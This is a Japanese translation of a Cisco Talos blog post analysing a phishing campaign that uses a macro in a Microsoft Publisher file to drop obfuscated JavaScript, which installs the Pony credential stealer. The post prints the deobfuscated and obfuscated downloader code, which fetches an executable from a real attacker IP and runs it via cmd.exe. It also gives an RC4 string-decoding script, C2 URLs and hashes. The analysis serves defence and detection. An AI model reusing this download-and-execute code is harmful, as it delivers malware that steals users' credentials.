Cisco Japan Blog
Share

Pony が Pub から出てくるとき


2017年2月10日


執筆/投稿者Warren Mercerpopup_iconPaul Rascagnerespopup_icon

Talos では、Microsoft Publisher ファイルを利用した小規模な電子メール攻撃を確認しました。通常、Microsoft Publisher の .pub ファイルはニュースレターなどのドキュメントの公開に使用されています。ユーザはメールの統合などの使い慣れた Office 機能を使用してこのような文書を作成できます。Microsoft Office スイートの他のアプリケーションとは異なり、Microsoft Publisher は保護ビューpopup_iconモードをサポートしていません。保護ビュー モードとは、悪意のあるドキュメント ファイルからエンド ユーザを保護するのに役立つ読み取り専用モードです。Microsoft Publisher は Office 365 に含まれており、デフォルトでインストールされます。

この攻撃で使用されているファイルは、よく知られている Pony というマルウェアを使用してユーザを感染させるためのものでした。Pony は技術的な機能において非常に優れたプログラムですが、.pub のファイル形式を使用することはこれまで知られていませんでした。Pony とはクレデンシャルを収集するマルウェアで、他のトロイの木馬の機能と一緒に使用されます。クレデンシャルの収集に加えて、マルウェアのローダとしても広く展開され、複数の段階にわたる感染チェーンで追加されたマルウェアによってシステムを侵害するために使用されます。Pony は流出した複数バージョンの Pony のソースとして現在も頻繁に使用されています。そのため悪意のある攻撃者は Pony を感染チェーンに簡単に組み込むことができます。

PUB

この攻撃は電子メールの添付ファイルを使用して展開されていました。この方法は新旧のマルウェアでは非常に一般的です。違いは .pub ファイルを使用することです。添付ファイルは、skbmt_fax45.pub という名前でエンド ユーザに配信されており、攻撃者はファイル タイプを隠そうとしていませんでした。攻撃者が .zip 圧縮ファイル内に本当のファイル タイプを隠蔽する方法はよく見られます。ただし、「SKBMT」という名前は、コニカミノルタのスキャナの「SKMBT」(SKMBT:Scan Konica Minolta Business Technologies)というプレフィックスの一部として読み間違える可能性があります。このファイルは一見すると正規の Microsoft Publisher ファイルに見えました。

この電子メールで攻撃者は、エンド ユーザのサービスを要求し、ユーザが電子メールを開くように誘導しようとします。この例では、財務的な要件を参照するように要求し、最高執行責任者と名乗ることで送信者が正当であるように見せかけ、ユーザにさらに誘導しています。

まずは .pub の添付ファイルから分析してみましょう。実行すると、Microsoft Publisher はクラッシュしているように見え、ユーザには今ファイルを開いている途中であるかのようにタイマーが表示されます。Talos では、.pub ファイルを開いている間に 2 MB のマクロファイルをロードしているため、フリーズしているのだと考えています。

しばらくすると、Publisher アプリケーションがクラッシュしたように見え、アプリケーションがクラッシュしたことを示す「応答しません」というメッセージが表示されます。

このメッセージがタイム アウトすると、Publisher は実行を再開します。この時点では、空のファイルが表示されているような空白の Microsoft Publisher 環境がユーザに表示されます。もちろん、熱心なマルウェア ハンターなら、アプリがクラッシュして空のファイルが開けば、普通はそれが何か悪いことがバックグラウンドで起こっている兆候であることがすぐにわかるでしょう。この段階で、前述の内容ではなくファイルに注目し始めました。

OleDump を使用して分析を開始すると、悪意のある Publisher ファイル内に 2 MB を超える大きなマクロが存在することを確認できます。

次に OleVBApopup_icon に切り替えてファイル自体の分析を続けました。多くの Office フォーマット ベースの攻撃と同様に、マクロを埋め込んで使用する方法は非常に一般的であり、この特定のサンプルについても同様だと予測していました。

マクロの内容を探った結果は次のようになりました。OleVBA の出力に見られるように、IOC は letten.js というファイルでした。

私たちが見つけたのは、430K を超えるオブジェクト ファイル letten.js をディスクに書き込むために使用されるマクロでした。このマクロは、CreateObject メソッドを使用し、複数の DumpFile オブジェクトを使用して時間をかけてファイルをディスクに書き込んでいました。

DumpFile オブジェクトは次のようにディスクに書き込まれます。

最終的に書き込まれたものは、強固に難読化された悪意のある .js ファイルでした。

JS の難読化

ここで、この Pub ファイルには、前述の組み込みの .js ファイルの分析時に見つけたものよりも多くのものが含まれていることがわかりました。まず、JavaScript に複雑に難読化されている部分があります。これは最先端の技術を持つ人が選択する方法ですが、Talos ではこの難読化を簡単に解除できます。この .js ファイルの難読化は 2 つのレイヤに分かれています。1 番目のレイヤでは、クリア テキストで eval() を実行するためにデータを復号します。予想通り、eval によって難読化された JavaScript の 2 番目のレイヤが明らかになりました。

2 番目のスクリプトも難読化されています。難読化の手法は、主に文字列を隠すことをベースとしています。私たちはこのタスクを実行するための 2 つの方法を見つけました。

  • ASCII 文字の代わりに 16 進数の値を使用して文字列を難読化する方法:
var NDpKxelW=new 
ActiveXObject('\x57\x53\x63\x72\x69\x70\x74\x2e\x53\x68\x65\x6c\x6c');

変換後:

var NDpKxelW=new ActiveXObject('WScript.Shell');

  • RC4 暗号化を使用して文字列を難読化する方法。次に例を示します。
var WJYT=new ActiveXObject(_0('0x0','\x71\x75\x72\x70'));

ここで、function _0() は 2 つの引数(インデックスと RC4 暗号キー)を伴って呼び出されます。インデックスは復号する文字列を特定するために使用されます。付録 A に、これらの文字列の復号化に使用する nodejs スクリプトを掲載しています。また付録 B には復号されたすべての文字列を掲載しています。上記の文字列は次のように変換されます。

var WJYT=new ActiveXObject('Scripting.FileSystemObject');

 

JavaScript の 2 つ目の部分には、埋め込まれたイメージ ファイルに関連する無意味なコードのように、奇妙なコードがいくつか含まれていました。私たちはこのコードが何のために使用されるのかを特定することはできませんでした。しかし復号すると、JavaScript の 2 つ目の部分の目的を簡単に特定できます。

var ws=new ActiveXObject('WScript.Shell');
var fs=new ActiveXObject('Scripting.FileSystemObject');
var exe_path=fs[GetSpecialFolder](0x2)+'\\'+"kl.pub"; // %TEMP%\kl.pub
var as=new ActiveXObject('ADODB.Stream');
as['Open']();
as['Type']=0x1;
as['Position']=0x0;
var http=new ActiveXObject('WinHTTP.WinHTTPRequest.5.1');
http['open'](),('http://5.200.52.198/flex/3435dde3r.exe',0x0);
http['send']();
if(http['Status']==0xc8){
  as['Write'](http['ResponseBody']);
  if(fs['FileExists'](exe_path))
    fs['DeleteFile'](exe_path);
  as['SaveToFile'](exe_path);
  as['Close'];
  if(!fs['FileExists'](exe_path))
    fs['DeleteFile'](exe_path);
  var command='cmd.exe /c'+exe_path;
  ws['Run'](command,0x0)
}

目的は、hxxp://5.200.52.198/flex/3435dde3r.exe からユーザの TEMP フォルダにバイナリをダウンロードし、ダウンロードしたファイルを kl.pub という名前に変更して、最終的にはその悪意のあるバイナリを実行することでした。

ペイロード

分析を完了したところで、私たちはマルウェアのペイロードが Pony であることを特定しました。Pony は新しいマルウェアではないため、このペイロード セクションでは詳しく説明する必要はないと考えています。配信する機能として .pub ファイルを使用することと、JavaScript を難読化することは、Pony 攻撃の中でも新しい機能です。少し注目していただきたいのは、この攻撃の外部への接続が比較的失敗していることです。Cisco Umbrella を使用すると、C2 インフラストラクチャへの接続回数が少ないことがわかりました。

まとめ

この記事では、サイバー犯罪者が Office Publisher の標準的なマクロを使用し、複数のレイヤで難読化を施した JavaScript とそのマクロを関連付けて、システムにマルウェアをインストールする方法について説明しました。知らない送信者または送信元から送られた不明なドキュメントなどを不用意に開かないことを強くお勧めします。さらに、Microsoft Windows では、レジストリ キー(REG_DWORD)をすることで Windows Script Host を無効にすることができます。

HKEY_CURRENT_USER\Software\Microsoft\Windows Script Host\Settings\Enabled

この値に 0 を設定します。

特定のコンピュータですべてのユーザの WSH を無効にするには、次のエントリを作成します。

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows Script Host\Settings\Enabled

WSH の実行を無効にする方法についての詳細は、Microsoft の Web サイトpopup_iconを参照してください。

IOC(セキュリティ侵害の兆候)

ネットワーク

  • hxxp://5.200.52.198/flex/3435dde3r.exe(payload)
  • hxxp://195.22.127.233/rec/fre.php (Pony CC)
  • hxxp://kbfvzoboss.bid/alien/fre.php(Pony CC)
  • hxxp://195.22.127.233/rec/fre.php (Pony CC)
  • hxxp://alphastand.win/alien/fre.php(Pony CC)
  • hxxp://alphastand.top/alien/fre.php(Pony CC)
  • hxxp://alphastand.trade/alien/fre.php(Pony CC)
  • hxxp://195.22.127.233:80/rec/fre.php(Pony CC)
  • 5200.52.198
  • 195.22.127.233
  • kbfvzoboss.bid
  • alphastand.win
  • alphastand.top
  • alphastand.trade

ハッシュ

  • 3cfd8919f095e048e0f24a41c2f132328f0d0efe19581b308d9d2d3ffad40c29(skbmt_fax45.pub)
  • 36baccd2a4fc4f683c839283123a75de61b01ce93205f4a34975263e9c66aaed(skbmt_faxreport34.pub)
  • 42d0990daba69fa5068a6910d0eac487f3d308ce7e28799a959dace8d84125d7(letten.js)
  • d214c89af1929af1171ac40999b14a4f6fbcfd13b88cade392853a2c61057122(ペイロード)
  • c7ef89222d760fc915690e6394c61c84176e618f7c9508beca30aa9a0f1b1991(ペイロード)

Threat Grid のレポート

https://panacea.threatgrid.com/samples/4a9c0827d5b35645706c2fb550e223ce

カバレッジ

お客様がこの脅威を検出してブロックできる別の方法を以下に記載します。

image05

Advanced Malware Protection(AMP)は、これらの攻撃者によるマルウェアの実行の阻止に最適です。

CWSWSA の Web スキャンは、悪意のある Web サイトへのアクセスを阻止し、それらの攻撃に使用されるマルウェアを検出します。

E メール セキュリティpopup_icon は、攻撃の一環として攻撃者が送りつける、悪意のある電子メールをブロックします。

IPS のネットワーク セキュリティ保護や NGFW には、攻撃者による不正なネットワーク アクティビティを検出できる最新のシグネチャが備わっています。

AMP Threat Grid は、悪意のあるバイナリを特定し、すべてのシスコ セキュリティ製品に保護機能を組み込みます。

Umbrellapopup_icon は悪意のあるアクティビティに関連付けられているドメインの DNS 解決を防止します。

付録 A

(
  function(_17,_31){
     var _27=function(_28){
       while(--_28){_17['push'](_17['shift']())}
     };
     _27(++_31)
  } (_16,0x1af)

);


var _0=function(_6,_29){
   var _6=parseInt(_6,0x10);
   var _7=_16[_6];
   if(!_0['atobPolyfillAppended']){
      ( function(){
           var _23=Function('return (function () {}.constructor("return this")());');
           var _15=_23();
           var _37='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
           _15['atob']||(_15['atob']=function(_25){
              var _24=String(_25)['replace'](/=+$/,'');
              for(var _10=0x0,_9,_5,_30=0x0,_19=''; _5=_24['charAt'](_30++); ~_5&&(_9=_10%0x4?_9*0x40+_5:_5,_10++%0x4)?_19+=String['fromCharCode'](0xff&_9>>(-0x2*_10&0x6)):0x0){
                 _5=_37['indexOf'](_5)
              }
              return _19
           })
        }()
      );
     _0['atobPolyfillAppended']=!![]
   }

   if(!_0['rc4']){
     var _26=function(_4,_18)
       {
       var _2=[],_3=0x0,_8,_20='',_14='';
       _4=atob(_4);
       for(var _11=0x0,_33=_4['length']; _11<_33; _11++){
          _14+='%'+('00'+_4['charCodeAt'](_11)['toString'](0x10))['slice'](-0x2)
       }
       _4=decodeURIComponent(_14);
       for(var _1=0x0; _1<0x100; _1++){
         _2[_1]=_1
       }
       for(_1=0x0; _1<0x100; _1++){
         _3=(_3+_2[_1]+_18['charCodeAt'](_1%_18['length']))%0x100;
         _8=_2[_1];
         _2[_1]=_2[_3];
         _2[_3]=_8
       }
       _1=0x0;
       _3=0x0;
       for(var _12=0x0; _12<_4['length']; _12++){
         _1=(_1+0x1)%0x100;
         _3=(_3+_2[_1])%0x100;
         _8=_2[_1];
         _2[_1]=_2[_3];
         _2[_3]=_8;
         _20+=String['fromCharCode'](_4['charCodeAt'](_12)^_2[(_2[_1]+_2[_3])%0x100])
       }
       return _20
     };
     _0['rc4']=_26
   }


   if(!_0['data']){
     _0['data']={}
   }

   if(_0['data'][_6]===undefined){
     if(!_0['once']){
       _0['once']=!![]
     }_7=_0['rc4'](_7,_29);
     _0['data'][_6]=_7
   } else {
     _7=_0['data'][_6]
   }
   return _7
};


console.log(_0('0x0','\x71\x75\x72\x70'));
console.log(_0('0x1','\x58\x30\x4c\x4c'));
console.log(_0('0x2','\x53\x58\x5e\x6f'));
console.log(_0('0x3','\x35\x75\x62\x5a'));
console.log(_0('0x5','\x39\x52\x31\x36'));
console.log(_0('0x7','\x26\x37\x38\x62'));
console.log(_0('0x9','\x4c\x35\x62\x45'));
console.log(_0('0xb','\x73\x23\x35\x42'));
console.log(_0('0xc','\x24\x4f\x25\x37'));
console.log(_0('0xd','\x41\x75\x73\x46'));
console.log(_0('0xf','\x79\x67\x5d\x79'));
console.log(_0('0x11','\x4d\x42\x54\x69'));
console.log(_0('0x14','\x63\x54\x6a\x24'));
console.log(_0('0x15','\x79\x39\x21\x6a'));
console.log(_0('0x17','\x45\x61\x51\x6a'));
console.log(_0('0x1a','\x79\x72\x68\x70'));
console.log(_0('0x1c','\x53\x58\x5e\x6f'));
console.log(_0('0x1d','\x31\x23\x48\x6c'));
console.log(_0('0x1e','\x31\x23\x48\x6c'));
console.log(_0('0x20','\x72\x78\x5e\x4e'));
console.log(_0('0x23','\x26\x35\x6a\x6a'));
console.log(_0('0x25','\x38\x66\x39\x5a'));
console.log(_0('0x26','\x73\x23\x35\x42'));
console.log(_0('0x27','\x4a\x45\x41\x62'));
console.log(_0('0x2a','\x24\x4f\x25\x37'));
console.log(_0('0x2c','\x2a\x46\x4a\x51'));
console.log(_0('0x2e','\x45\x61\x51\x6a'));
console.log(_0('0x2f','\x52\x4f\x5d\x45'));
console.log(_0('0x30','\x79\x67\x5d\x79'));
console.log(_0('0x31','\x70\x6f\x46\x54'));
console.log(_0('0x32','\x45\x61\x51\x6a'));
console.log(_0('0x33','\x79\x39\x54\x2a'));
console.log(_0('0x34','\x52\x4f\x5d\x45'));
console.log(_0('0x35','\x35\x72\x4a\x2a'));
console.log(_0('0x36','\x58\x61\x5e\x6a'));
console.log(_0('0x37','\x79\x67\x5d\x79'));
console.log(_0('0x38','\x52\x4f\x5d\x45'));
console.log(_0('0x39','\x2a\x46\x4a\x51'));
console.log(_0('0x3a','\x73\x23\x35\x42'));
console.log(_0('0x3b','\x35\x75\x62\x5a'));
console.log(_0('0x3c','\x4d\x42\x54\x69'));
console.log(_0('0x3d','\x70\x6f\x46\x54'));
console.log(_0('0x3e','\x31\x23\x48\x6c'));
console.log(_0('0x3f','\x25\x2a\x4a\x4c'));
console.log(_0('0x41','\x50\x30\x70\x4b'));
console.log(_0('0x43','\x2a\x46\x4a\x51'));
console.log(_0('0x45','\x53\x58\x5e\x6f'));
console.log(_0('0x47','\x57\x28\x30\x76'));
console.log(_0('0x48','\x35\x5a\x54\x39'));
console.log(_0('0x49','\x4d\x42\x54\x69'));
console.log(_0('0x4b','\x52\x4f\x5d\x45'));
console.log(_0('0x4d','\x45\x61\x51\x6a'));
console.log(_0('0x4f','\x72\x78\x5e\x4e'));
console.log(_0('0x50','\x70\x6f\x46\x54'));

 

付録 B

_0('0x0','\x71\x75\x72\x70'):  Scripting.FileSystemObject
_0('0x1','\x58\x30\x4c\x4c'):  GetSpecialFolder
_0('0x2','\x53\x58\x5e\x6f'):  kl.pub
_0('0x3','\x35\x75\x62\x5a'):  ADODB.Stream
_0('0x5','\x39\x52\x31\x36'):  Open
_0('0x7','\x26\x37\x38\x62'):  Type
_0('0x9','\x4c\x35\x62\x45'):  WinHttp.WinHttpRequest.5.1
_0('0xb','\x73\x23\x35\x42'):  open
_0('0xc','\x24\x4f\x25\x37'):  
_0('0xd','\x41\x75\x73\x46'):  http://5.200.52.198/flex/3435dde3r.exe
_0('0xf','\x79\x67\x5d\x79'):  send
_0('0x11','\x4d\x42\x54\x69'): Status
_0('0x14','\x63\x54\x6a\x24'): ResponseBody
_0('0x15','\x79\x39\x21\x6a'): FileExists
_0('0x17','\x45\x61\x51\x6a'): DeleteFile
_0('0x1a','\x79\x72\x68\x70'): Close
_0('0x1c','\x53\x58\x5e\x6f'): FileExists
_0('0x1d','\x31\x23\x48\x6c'): DeleteFile
_0('0x1e','\x31\x23\x48\x6c'): cmd.exe /c
_0('0x20','\x72\x78\x5e\x4e'): fba7b60b15f0b26aa5b56b8f378a0b1b4092ed23d3d08e9b5b86f70e54b4fbeb55757642
_0('0x23','\x26\x35\x6a\x6a'): getContext
_0('0x25','\x38\x66\x39\x5a'): text
_0('0x26','\x73\x23\x35\x42'): 6cc71d91778fcdda0eb8709e9348240b251afe5e971df8f80920b84ab4eeae83cae6b76c
_0('0x27','\x4a\x45\x41\x62'): 138825ed8f4199d67f9ca400b795b65fec1158ac4fd0e81a93f0b42abf77047ac4811a76
_0('0x2a','\x24\x4f\x25\x37'): display
_0('0x2c','\x2a\x46\x4a\x51'): onload
_0('0x2e','\x45\x61\x51\x6a'):
_0('0x2f','\x52\x4f\x5d\x45'): v269f82b2b41157791bb2ed68074f252a
_0('0x30','\x79\x67\x5d\x79'): return unescape(decodeURIComponent(window.atob(v269f82b2b41157791bb2ed68074f252a)))
_0('0x31','\x70\x6f\x46\x54'): v269f82b2b41157791bb2ed68074f252a
_0('0x32','\x45\x61\x51\x6a'): cmV0dXJuJTIwJ2NhbnZhcyclM0I= ==> return%20'canvas'%3B
_0('0x33','\x79\x39\x54\x2a'): cmV0dXJuJTIwJzJkJyUzQg== ==> return%20'2d'%3B
_0('0x34','\x52\x4f\x5d\x45'): cmV0dXJuJTIwJ3NjcmlwdCclM0I= ==> return%20'script'%3B
_0('0x35','\x35\x72\x4a\x2a'): vd547050f5153d6953e12ea54b398855a
_0('0x36','\x58\x61\x5e\x6a'): vaf2802b25cf6c34b77597f03a57f3f72
_0('0x37','\x79\x67\x5d\x79'): cmV0dXJuJTIwJ2RhdGElM0FpbWFnZSUyRnBuZyUzQmJhc2U2NCUyQyclM0I= ==> return%20'data%3Aimage%2Fpng%3Bbase64%2C'%3B
_0('0x38','\x52\x4f\x5d\x45'): iVBORw0KGgoAAAANSUhEUgAAAAwAAAAMCAIAAADZF8uwAAABCklEQVQYlSXPzUpUAQAG0HOHW/ZZ0KhYuMlFILgrBINq34u09RXbWdQiWgnZrpAgpx+j5rPUmRadNzjDwcFzDe+bPd7pQh7GBUftRTLj0agnzX1uMU/Xmj/pm2bgLgtW6/WI9EMtud5If4A1XZE5n3g2YaswjWusQqSN83TQ3Tgba4hTVlimV2zWFzlhoZfJL30woc3TuiFDnddxOqbYkm86bYzym22ZsU5kk9vsccqU7ZhN0nV9Gxu1lO+xo2oIqTpuNyYysMOl0pHD5g5/2yVjsh/jRIfkpf5vLeqJHuuLZN6sccRiRPs4lslNvdKjZFn3im7KV3k1acQhH9uzBiNNd/VnfGZL9/8BN0KFZOkfxykAAAAASUVORK5CYII= ==> a .png file
_0('0x39','\x2a\x46\x4a\x51'): cmV0dXJuJTIwdjE2NDQxZWY5MzA0YTU1MjBkNjYzZTY1ODBiZjE2Njc5LmdldEVsZW1lbnRCeUlkKHYyNjlmODJiMmI0MTE1Nzc5MWJiMmVkNjgwNzRmMjUyYSklM0I ==> return%20v16441ef9304a5520d663e6580bf16679.getElementById(v269f82b2b41157791bb2ed68074f252a)%3B
_0('0x3a','\x73\x23\x35\x42'): cmV0dXJuJTIwZG9jdW1lbnQ= ==> return%20document
_0('0x3b','\x35\x75\x62\x5a'): Zm9yKHZmZmI2NzlhNGViODJjNmVhN2U2MjM0ODc1MmRmZThkYSUzRHY0MjZjNGU1ZWRmM2EwMGM1YjA2Njg3MjM0YTEyMDVkZSU1QjIlNUQlM0IlMjB2ZmZiNjc5YTRlYjgyYzZlYTdlNjIzNDg3NTJkZmU4ZGElMjAlM0MlMjB2ZWNlYjgzNjgxMWJjOTRjMDAyNjU5MjZiZGIwNjgwMGQuZGF0YS5sZW5ndGglM0IlMjB2ZmZiNjc5YTRlYjgyYzZlYTdlNjIzNDg3NTJkZmU4ZGElMkIlM0Q0KXY1MzZkZmMyOGFkMDMxY2EyMTE1MmQyN2Q4NDViNTVmNyUyQiUzRCh2ZWNlYjgzNjgxMWJjOTRjMDAyNjU5MjZiZGIwNjgwMGQuZGF0YSU1QnZmZmI2NzlhNGViODJjNmVhN2U2MjM0ODc1MmRmZThkYSU1RCElM0R2NDI2YzRlNWVkZjNhMDBjNWIwNjY4NzIzNGExMjA1ZGUlNUIxJTVEKSUzRnZmNWQ3ZDMyZGI3YTg3YjU2Y2Q3M2M5Mzk2YWRjMzEwYSh2ZWNlYjgzNjgxMWJjOTRjMDAyNjU5MjZiZGIwNjgwMGQuZGF0YSU1QnZmZmI2NzlhNGViODJjNmVhN2U2MjM0ODc1MmRmZThkYSU1RCklM0F2MjFhM2QyZDNmYzVjMmMxZTFmM2E2MzNiZDhmMTZmN2UlNUI0JTVEJTNCJTIwdjUzNmRmYzI4YWQwMzFjYTIxMTUyZDI3ZDg0NWI1NWY3JTNEdjUzNmRmYzI4YWQwMzFjYTIxMTUyZDI3ZDg0NWI1NWY3LnRyaW0oKSUzQg== ==> for(vffb679a4eb82c6ea7e62348752dfe8da%3Dv426c4e5edf3a00c5b06687234a1205de%5B2%5D%3B%20vffb679a4eb82c6ea7e62348752dfe8da%20%3C%20veceb836811bc94c00265926bdb06800d.data.length%3B%20vffb679a4eb82c6ea7e62348752dfe8da%2B%3D4)v536dfc28ad031ca21152d27d845b55f7%2B%3D(veceb836811bc94c00265926bdb06800d.data%5Bvffb679a4eb82c6ea7e62348752dfe8da%5D!%3Dv426c4e5edf3a00c5b06687234a1205de%5B1%5D)%3Fvf5d7d32db7a87b56cd73c9396adc310a(veceb836811bc94c00265926bdb06800d.data%5Bvffb679a4eb82c6ea7e62348752dfe8da%5D)%3Av21a3d2d3fc5c2c1e1f3a633bd8f16f7e%5B4%5D%3B%20v536dfc28ad031ca21152d27d845b55f7%3Dv536dfc28ad031ca21152d27d845b55f7.trim()%3B
_0('0x3c','\x4d\x42\x54\x69'): cmV0dXJuJTIwbmV3JTIwSW1hZ2UoKSUzQg== ==> return%20new%20Image()%3B
_0('0x3d','\x70\x6f\x46\x54'): cmV0dXJuJTIwU3RyaW5nLmZyb21DaGFyQ29kZSh2MjY5ZjgyYjJiNDExNTc3OTFiYjJlZDY4MDc0ZjI1MmEpJTNC ==> return%20String.fromCharCode(v269f82b2b41157791bb2ed68074f252a)%3B
_0('0x3e','\x31\x23\x48\x6c'): v269f82b2b41157791bb2ed68074f252a
_0('0x3f','\x25\x2a\x4a\x4c'): width
_0('0x41','\x50\x30\x70\x4b'): width
_0('0x43','\x2a\x46\x4a\x51'): height
_0('0x45','\x53\x58\x5e\x6f'): height
_0('0x47','\x57\x28\x30\x76'): style
_0('0x48','\x35\x5a\x54\x39'): display
_0('0x49','\x4d\x42\x54\x69'): v269f82b2b41157791bb2ed68074f252a
_0('0x4b','\x52\x4f\x5d\x45'): drawImage
_0('0x4d','\x45\x61\x51\x6a'): getImageData
_0('0x4f','\x72\x78\x5e\x4e'): width
_0('0x50','\x70\x6f\x46\x54'): height

 

付録 C

2 番目の .js ファイル(興味深い部分)

var NDpKxelW=new ActiveXObject('\x57\x53\x63\x72\x69\x70\x74\x2e\x53\x68\x65\x6c\x6c');
var WJYT=new ActiveXObject(_0('0x0','\x71\x75\x72\x70'));
var shKsim=WJYT[_0('0x1','\x58\x30\x4c\x4c')](0x2)+'\x5c'+_0('0x2','\x53\x58\x5e\x6f');
var LKGKUCoW=new ActiveXObject(_0('0x3','\x35\x75\x62\x5a'));
LKGKUCoW[_0('0x5','\x39\x52\x31\x36')]();
LKGKUCoW[_0('0x7','\x26\x37\x38\x62')]=0x1;
LKGKUCoW['\x50\x6f\x73\x69\x74\x69\x6f\x6e']=0x0;
var UhBHCFrnd=new ActiveXObject(_0('0x9','\x4c\x35\x62\x45'));
UhBHCFrnd[_0('0xb','\x73\x23\x35\x42')](_0('0xc','\x24\x4f\x25\x37'),_0('0xd','\x41\x75\x73\x46'),0x0);
UhBHCFrnd[_0('0xf','\x79\x67\x5d\x79')]();
if(UhBHCFrnd[_0('0x11','\x4d\x42\x54\x69')]==0xc8){
  LKGKUCoW['\x57\x72\x69\x74\x65'](UhBHCFrnd[_0('0x14','\x63\x54\x6a\x24')]);
  if(WJYT[_0('0x15','\x79\x39\x21\x6a')](shKsim))
    WJYT[_0('0x17','\x45\x61\x51\x6a')](shKsim);
  LKGKUCoW['\x53\x61\x76\x65\x54\x6f\x46\x69\x6c\x65'](shKsim);
  LKGKUCoW[_0('0x1a','\x79\x72\x68\x70')];
  if(!WJYT[_0('0x1c','\x53\x58\x5e\x6f')](shKsim))
    WJYT[_0('0x1d','\x31\x23\x48\x6c')](shKsim);
  var OGddGp=_0('0x1e','\x31\x23\x48\x6c')+shKsim;
  NDpKxelW['\x72\x75\x6e'](OGddGp,0x0)
  }

 

 

本稿は 2017年2月7日に Talos Grouppopup_icon のブログに投稿された「When A Pony Walks Out Of A Pubpopup_icon」の抄訳です。

 

 

Tags:
コメントを書く